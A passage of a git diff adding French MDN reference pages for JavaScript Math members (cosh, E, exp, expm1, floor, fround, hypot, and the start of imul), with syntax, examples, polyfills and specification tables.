+<p><code>cosh()</code> étant une méthode statique de <code>Math</code>, il faut utiliser <code>Math.cosh()</code> et non pas la méthode d'un objet <code>Math</code> créé sur mesure (<code>Math</code> n'est pas un constructeur).</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Utiliser_Math.cosh()">Utiliser <code>Math.cosh()</code></h3>
+
+<pre class="brush:js">Math.cosh(0);  // 1
+Math.cosh(1);  // 1.5430806348152437
+Math.cosh(-1); // 1.5430806348152437
+</pre>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>Cette fonction peut être émulée grâce à la fonction {{jsxref("Objets_globaux/Math/exp", "Math.exp()")}} :</p>
+
+<pre class="brush: js">Math.cosh = Math.cosh || function(x) {
+    return (Math.exp(x) + Math.exp(-x)) / 2;
+}</pre>
+
+<p>On peut également utiliser un unique appel à {{jsxref("Objets_globaux/Math/exp", "exp()")}} :</p>
+
+<pre class="brush: js">Math.cosh = Math.cosh || function(x) {
+    var y = Math.exp(x);
+    return (y + 1 / y) / 2;
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.cosh', 'Math.cosh')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.cosh', 'Math.cosh')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.cosh")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.acosh()")}}</li>
+ <li>{{jsxref("Math.asinh()")}}</li>
+ <li>{{jsxref("Math.atanh()")}}</li>
+ <li>{{jsxref("Math.sinh()")}}</li>
+ <li>{{jsxref("Math.tanh()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/e/index.html b/files/fr/web/javascript/reference/objets_globaux/math/e/index.html
new file mode 100644
index 0000000000..0ffd4fff7d
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/e/index.html
@@ -0,0 +1,83 @@
+---
+title: Math.E
+slug: Web/JavaScript/Reference/Objets_globaux/Math/E
+tags:
+  - JavaScript
+  - Math
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/E
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>Math.E</strong></code> représente la base du logarithme naturel, e, et vaut environ 2.718.</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.E</mi></mstyle><mo>=</mo><mi>e</mi><mo>≈</mo><mn>2.718</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.E}} = e \approx 2.718</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-e.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p><code>E</code> étant une propriété statique de <code>Math</code>, il doit toujours être utilisé avec la syntaxe <code>Math.E</code>, et non pas être appelé comme propriété d'un autre objet <code>Math</code> qui aurait été créé (<code>Math</code> n'est pas un constructeur).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_Math.E">Utiliser <code>Math.E</code></h3>
+
+<p>La fonction suivante renvoie la valeur de e :</p>
+
+<pre class="brush:js">function getNapier() {
+   return Math.E;
+}
+
+getNapier(); // 2.718281828459045</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.1.1', 'Math.E')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.e', 'Math.E')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.e', 'Math.E')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.E")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log1p()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/exp/index.html b/files/fr/web/javascript/reference/objets_globaux/math/exp/index.html
new file mode 100644
index 0000000000..62974cdddf
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/exp/index.html
@@ -0,0 +1,96 @@
+---
+title: Math.exp()
+slug: Web/JavaScript/Reference/Objets_globaux/Math/exp
+tags:
+  - JavaScript
+  - Math
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/exp
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <code><strong>Math.exp()</strong></code> renvoie l'exponentielle d'un nombre (donnée par <code>e<sup>x</sup></code>, où <code>x</code> est la valeur passée en argument et <code>e</code> la valeur du {{jsxref("Objets_globaux/Math/E","nombre d'Euler (parfois appelé constante de Napier)","",1)}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-exp.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Math.exp(<var>x</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>
+ <p>Un nombre.</p>
+ </dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L'exponentielle du nombre passé en argument (<code>e<sup>x</sup></code>).</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>exp()</code> est une méthode statique de <code>Math</code>, elle doit toujours être utilisée avec la syntaxe <code>Math.exp()</code>, elle ne doit pas être utilisée avec un objet qui aurait été créé (<code>Math</code> n'est pas un constructeur).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_Math.exp()">Utiliser <code>Math.exp()</code></h3>
+
+<pre class="brush:js">Math.exp(-1); // 0.36787944117144233
+Math.exp(0);  // 1
+Math.exp(1);  // 2.718281828459045</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.8', 'Math.exp')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.exp', 'Math.exp')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.exp', 'Math.exp')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.exp")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.E")}}</li>
+ <li>{{jsxref("Math.expm1()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log10()")}}</li>
+ <li>{{jsxref("Math.log1p()")}}</li>
+ <li>{{jsxref("Math.log2()")}}</li>
+ <li>{{jsxref("Math.pow()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/expm1/index.html b/files/fr/web/javascript/reference/objets_globaux/math/expm1/index.html
new file mode 100644
index 0000000000..daff456379
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/expm1/index.html
@@ -0,0 +1,94 @@
+---
+title: Math.expm1()
+slug: Web/JavaScript/Reference/Objets_globaux/Math/expm1
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Math
+  - Méthode
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/expm1
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <code><strong>Math.expm1()</strong></code> renvoie<code> e<sup>x</sup></code> - 1, avec <code>x</code> l'argument donné et {{jsxref("Objets_globaux/Math/E","e")}} la base du logarithme nepérien.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-expm1.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Math.expm1(<var>x</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un nombre.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nombre qui représente <code>e<sup>x</sup>- 1</code> où <code>x</code> est la valeur passée en argument et <code>e<sup>x</sup></code> l'exponentielle du nombre.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>expm1()</code> étant une méthode statique de <code>Math</code>, il faut utiliser <code>Math.expm1()</code>et non pas la méthode d'un autre objet qui aurait été créé sur mesure (<code>Math </code>n'est pas un constructeur).</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Utiliser_Math.expm1()">Utiliser <code>Math.expm1()</code></h3>
+
+<pre class="brush:js">Math.expm1(-1); // -0.6321205588285577
+Math.expm1(0);  // 0
+Math.expm1(1);  // 1.718281828459045</pre>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>Cette fonction peut être émulée en utilisant la fonction {{jsxref("Objets_globaux/Math/exp", "Math.exp()")}} :</p>
+
+<pre class="brush: js">Math.expm1 = Math.expm1 || function(x) {
+    return Math.exp(x) - 1;
+};</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.expm1', 'Math.expm1')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.expm1', 'Math.expm1')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.expm1")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.E")}}</li>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log10()")}}</li>
+ <li>{{jsxref("Math.log1p()")}}</li>
+ <li>{{jsxref("Math.log2()")}}</li>
+ <li>{{jsxref("Math.pow()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/floor/index.html b/files/fr/web/javascript/reference/objets_globaux/math/floor/index.html
new file mode 100644
index 0000000000..0058ccfe84
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/floor/index.html
@@ -0,0 +1,100 @@
+---
+title: Math.floor()
+slug: Web/JavaScript/Reference/Objets_globaux/Math/floor
+tags:
+  - JavaScript
+  - Math
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/floor
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <code><strong>Math.floor(x)</strong></code> renvoie le plus grand entier qui est inférieur ou égal à un nombre <code>x</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-floor.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Math.floor(<var>x</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un nombre.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nombre qui représente le plus grand entier inférieur ou égal à la valeur passée en argument.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>floor()</code> est une méthode statique de l'objet <code>Math</code>, elle doit toujours être utilisée avec la syntaxe  <code>Math.floor()</code>, elle ne doit pas être utilisée avec un autre objet qui aurait été créé (<code>Math</code> n'est pas un constructeur).</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> <code>Math.floor(null)</code> renvoie <code>0</code> et pas {{jsxref("NaN")}}.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_Math.floor">Utiliser <code>Math.floor</code></h3>
+
+<pre class="brush:js">Math.floor( 45.95); //  45
+Math.floor( 45.05); //  45
+Math.floor(  4   ); //   4
+Math.floor(-45.05); // -46
+Math.floor(-45.95); // -46
+Math.floor(null);   // 0
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.9', 'Math.floor')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.floor', 'Math.floor')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.floor', 'Math.floor')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.floor")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.abs()")}}</li>
+ <li>{{jsxref("Math.ceil()")}}</li>
+ <li>{{jsxref("Math.round()")}}</li>
+ <li>{{jsxref("Math.sign()")}}</li>
+ <li>{{jsxref("Math.trunc()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/fround/index.html b/files/fr/web/javascript/reference/objets_globaux/math/fround/index.html
new file mode 100644
index 0000000000..59ca437b06
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/fround/index.html
@@ -0,0 +1,89 @@
+---
+title: Math.fround()
+slug: Web/JavaScript/Reference/Objets_globaux/Math/fround
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Math
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/fround
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <code><strong>Math.fround()</strong></code> renvoie le nombre flottant à <a class="external" href="https://en.wikipedia.org/wiki/Single_precision" title="link to the wikipedia page on single precision">précision simple</a> sur 32 bits qui est le plus proche du nombre fourni.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-fround.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Math.fround(<var>x</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un nombre.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le nombre flottant à précision simple sur 32 bits qui est le plus proche de la valeur fournie en argument.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Un moteur JavaScript utilise des nombres flottant à précision simple sur 64 bits. Cela permet d'obtenir une précision fine. Toutefois, lorsqu'on manipule des valeurs représentées sur 32 bits (par exemple des valeurs extraites d'un {{jsxref("Float32Array")}}) et qu'on souhaite comparer celles-ci avec des valeurs sur 32 bits, on peut obtenir des inégalités alors que les valeurs semblent identiques.</p>
+
+<p>Pour résoudre ce problème, on peut utiliser <code>Math.fround()</code> afin de transformer un nombre représenté sur 64 bits en un nombre représenté sur 32 bits. Pour le moteur JavaScript, la valeur sera toujours représentée sur 64 bits mais elle aura été « arrondie » à partir du 23e bit de la mantisse. Si le nombre passé en argument se situe en dehors de l'intervalle représentable sur 32 bits, la méthode renverra {{jsxref("Infinity")}} ou <code>-Infinity</code>.</p>
+
+<p><code>fround </code>étant une méthode statique de <code>Math</code>, il faut utiliser <code>Math.<code>fround</code>()</code> et non pas la méthode d'un autre objet qui aurait été créé (<code>Math</code> n'est pas un constructeur).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_Math.fround()">Utiliser <code>Math.fround()</code></h3>
+
+<pre class="brush: js">Math.fround(0);     // 0
+Math.fround(1);     // 1
+
+// 1.337 ne peut pas être représenté correctement
+// sur 32 bits
+Math.fround(1.337); // 1.3370000123977661
+
+Math.fround(1.5);   // 1.5
+Math.fround(NaN);   // NaN</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.fround', 'Math.fround')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.fround', 'Math.fround')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.fround")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.round()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/hypot/index.html b/files/fr/web/javascript/reference/objets_globaux/math/hypot/index.html
new file mode 100644
index 0000000000..90c6ec6690
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/hypot/index.html
@@ -0,0 +1,129 @@
+---
+title: Math.hypot()
+slug: Web/JavaScript/Reference/Objets_globaux/Math/hypot
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Math
+  - Méthode
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/hypot
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <code><strong>Math.hypot()</strong></code> renvoie la racine carrée de la somme des carrés de ses arguments. On peut également la définir avec la formule suivante :</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.hypot</mo><mo stretchy="false">(</mo><msub><mi>v</mi><mn>1</mn></msub><mo>,</mo><msub><mi>v</mi><mn>2</mn></msub><mo>,</mo><mo>…</mo><mo>,</mo><msub><mi>v</mi><mi>n</mi></msub><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><msqrt><mrow><munderover><mo>∑</mo><mrow><mi>i</mi><mo>=</mo><mn>1</mn></mrow><mi>n</mi></munderover><msubsup><mi>v</mi><mi>i</mi><mn>2</mn></msubsup></mrow></msqrt><mo>=</mo><msqrt><mrow><msubsup><mi>v</mi><mn>1</mn><mn>2</mn></msubsup><mo>+</mo><msubsup><mi>v</mi><mn>2</mn><mn>2</mn></msubsup><mo>+</mo><mo>…</mo><mo>+</mo><msubsup><mi>v</mi><mi>n</mi><mn>2</mn></msubsup></mrow></msqrt></mrow><annotation encoding="TeX">\mathtt{\operatorname{Math.hypot}(v_1, v_2, \dots, v_n)} = \sqrt{\sum_{i=1}^n v_i^2} = \sqrt{v_1^2 + v_2^2 + \dots + v_n^2}</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-hypot.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Math.hypot([valeur<var>1</var>[,<var>valeur2</var>, ...]]) </pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeur1, valeur2, ...</code></dt>
+ <dd>Des nombres.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La racine carrée de la somme des carrés des arguments. S'il existe un des arguments qui ne peut pas être converti en un nombre, c'est la valeur {{jsxref("NaN")}} qui sera renvoyée.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>hypot()</code> étant une méthode statique de <code>Math</code>, il faut utiliser <code>Math.<code>hypot</code>()</code>et non pas la méthode d'un autre objet qui aurait été créé (<code>Math</code> n'est pas un constructeur).</p>
+
+<p>Si aucun argument n'est donné, le résultat sera +0.Si, parmi les arguments, au moins un ne peut pas être converti en un nombre, le résultat sera {{jsxref("NaN")}}.Si cette fonction est utilisée avec un argument : <code>Math.hypot(x)</code> sera équivalente à <code>Math.abs(x)</code>.</p>
+
+<p>Cette fonction permet entre autres de gérer certains cas où, pour les grands nombres, l'utilisation de {{jsxref("Math.sqrt()")}} aurait renvoyé {{jsxref("Infinity")}} à cause des calculs intermédiaires.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_Math.hypot()">Utiliser <code>Math.hypot()</code></h3>
+
+<pre class="brush:js">Math.hypot(3, 4)        // 5
+Math.hypot(3, 4, 5)     // 7.0710678118654755
+Math.hypot()            // 0
+Math.hypot(NaN)         // NaN
+Math.hypot(3, 4, "toto") // NaN, +"toto" =&gt; NaN
+Math.hypot(3, 4, "5")   // 7.0710678118654755, +"5" =&gt; 5
+Math.hypot(-3)          // 3, the same as Math.abs(-3)
+</pre>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>Si elle n'est pas disponible, cette fonction peut être émulée de la façon suivante :</p>
+
+<pre class="brush: js">Math.hypot =  Math.hypot || function() {
+    var y = 0;
+    var length = arguments.length;
+
+    for (var i = 0; i &lt; length; i++) {
+      if(arguments[i] === Infinity || arguments[i] === -Infinity) {
+        return Infinity;
+      }
+      y += arguments[i] * arguments[i];
+    }
+    return Math.sqrt(y);
+};
+</pre>
+
+<p>Voici une seconde version qui évite les dépassements :</p>
+
+<pre class="brush: js">Math.hypot = function (x, y) {
+  // https://bugzilla.mozilla.org/show_bug.cgi?id=896264#c28
+  var max = 0;
+  var s = 0;
+  for (var i = 0; i &lt; arguments.length; i += 1) {
+    var arg = Math.abs(Number(arguments[i]));
+    if (arg &gt; max) {
+      s *= (max / arg) * (max / arg);
+      max = arg;
+    }
+    s += arg === 0 &amp;&amp; max === 0 ? 0 : (arg / max) * (arg / max);
+  }
+  return max === 1 / 0 ? 1 / 0 : max * Math.sqrt(s);
+};
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-math.hypot', 'Math.hypot')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.hypot', 'Math.hypot')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.hypot")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.abs()")}}</li>
+ <li>{{jsxref("Math.pow()")}}</li>
+ <li>{{jsxref("Math.sqrt()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/imul/index.html b/files/fr/web/javascript/reference/objets_globaux/math/imul/index.html
new file mode 100644
index 0000000000..3eb75d949d
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/imul/index.html
@@ -0,0 +1,93 @@
+---
+title: Math.imul()
+slug: Web/JavaScript/Reference/Objets_globaux/Math/imul
+tags:
+  - JavaScript
+  - Math
+  - Méthode
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/imul
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <code><strong>Math.imul()</strong></code> renvoie le résultat de la multiplication de deux nombres, calculée avec la représentation sur 32 bits de ces nombres, à la façon du langage C.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-imul.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Math.imul(<var>a</var>, <var>b</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>a</code></dt>
+ <dd>Le premier nombre.</dd>
+ <dt><code>b</code></dt>
+ <dd>Le second nombre.</dd>
+</dl>
+
